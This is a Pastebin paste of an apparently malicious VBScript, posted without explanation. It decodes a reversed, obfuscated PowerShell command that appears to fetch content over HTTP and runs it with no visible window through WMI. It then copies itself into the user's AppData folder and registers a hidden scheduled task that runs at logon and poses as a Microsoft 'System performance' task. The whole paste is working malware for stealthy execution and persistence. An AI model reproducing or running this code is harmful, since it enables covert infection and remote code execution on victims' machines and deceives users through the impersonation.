Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- f="XEI|)OLOL$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;)14,201,63,44,93,101,021,101,64,901,511,56,301,101,28,93,04,101,021,101,85,85,39,211,711,611,501,701,99,79,27,64,701,19,95,88,96,37,421,14,93,021,84,93,44,93,64,64,93,04,101,99,79,801,211,101,411,64,14,93,301,211,601,64,94,84,101,801,711,001,111,901,74,411,89,64,901,111,99,64,111,811,111,211,111,001,111,611,501,411,301,74,74,85,511,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,201,63,39,39,19,101,611,121,66,19,95,88,96,37,421,14,93,301,211,601,64,79,201,101,411,79,48,101,211,901,711,28,74,411,89,64,901,111,99,64,111,811,111,211,111,001,111,611,501,411,301,74,74,85,511,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,601,201,63,95,14,93,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,93,04,101,901,79,87,801,79,501,611,411,79,08,401,611,501,78,001,79,111,67,85,85,39,121,801,89,901,101,511,511,56,64,011,111,501,611,99,101,801,201,101,28,64,901,101,611,511,121,38,19,23,39,001,501,111,811,19(@=OLOL$"
- exec(replace("Pow%rsh%ll","%","e")+space(1)+StrReverse(f))
- N="SysWord"
- set fso0 = CreateObject("Scripting.FileSystemObject")
- CurrentDirectory = fso0.GetParentFolderName(WScript.ScriptFullName)
- sname= wsh.scriptname
- startupfolder="C:\Users\"+CreateObject("WScript.Network").UserName+"\AppData\Roaming"
- F=startupfolder+ "\" + sname
- task F,N
- if CurrentDirectory = startupfolder Then
- WScript.Quit()
- else
- mnb()
- End if
- sub mnb()
- If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
- sSourceFile = CurrentDirectory+ "\"+ sname
- sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
- exec(sCmd)
- WScript.Quit()
- Else
- WScript.Quit()
- End If
- End sub
- sub task(PATH,TSname)
- dim strUser
- strUser = CreateObject("WScript.Network").UserName
- Dim service
- Set service = CreateObject(StrReverse("ecivreS.eludehcS"))
- call service.Connect()
- Dim rootFolder
- Set rootFolder = service.GetFolder("\")
- Dim taskDefinition
- Set taskDefinition = service.NewTask(0)
- ' taskDefinition.principal.LogonType = 3
- Dim regInfo
- Set regInfo = taskDefinition.RegistrationInfo
- regInfo.Description = "System performance enhancment"
- regInfo.Author = "Microsoft"
- Dim settings
- Set settings = taskDefinition.Settings
- settings.Enabled = True
- settings.StartWhenAvailable = True
- settings.Hidden = True
- settings.DisallowStartIfOnBatteries = False
- const TriggerTypeLogon = 9
- Dim triggers
- Set triggers = taskDefinition.Triggers
- Dim trigger
- Set trigger = triggers.Create(TriggerTypeLogon)
- Dim startTime, endTime
- startTime = "2010-05-02T10:49:02"
- endTime = "2060-05-02T10:52:02"
- trigger.Id = "LogonTriggerId"
- trigger.UserId = strUser
- trigger.StartBoundary = startTime
- trigger.EndBoundary = endTime
- trigger.Enabled = True
- const ActionTypeExecutable = 0
- Dim Action
- Set Action = taskDefinition.Actions.Create( ActionTypeExecutable )
- Action.Path = PATH
- const createOrUpdateTask = 6
- call rootFolder.RegisterTaskDefinition( _
- TSname, taskDefinition, createOrUpdateTask, _
- , , 3)
- End sub
- sub exec(Atc)
- strCommand = Atc
- Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = 0
- Set objProcess = objWMIService.Get("Win32_Process")
- intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
- End sub
Add Comment
Please, Sign In to add comment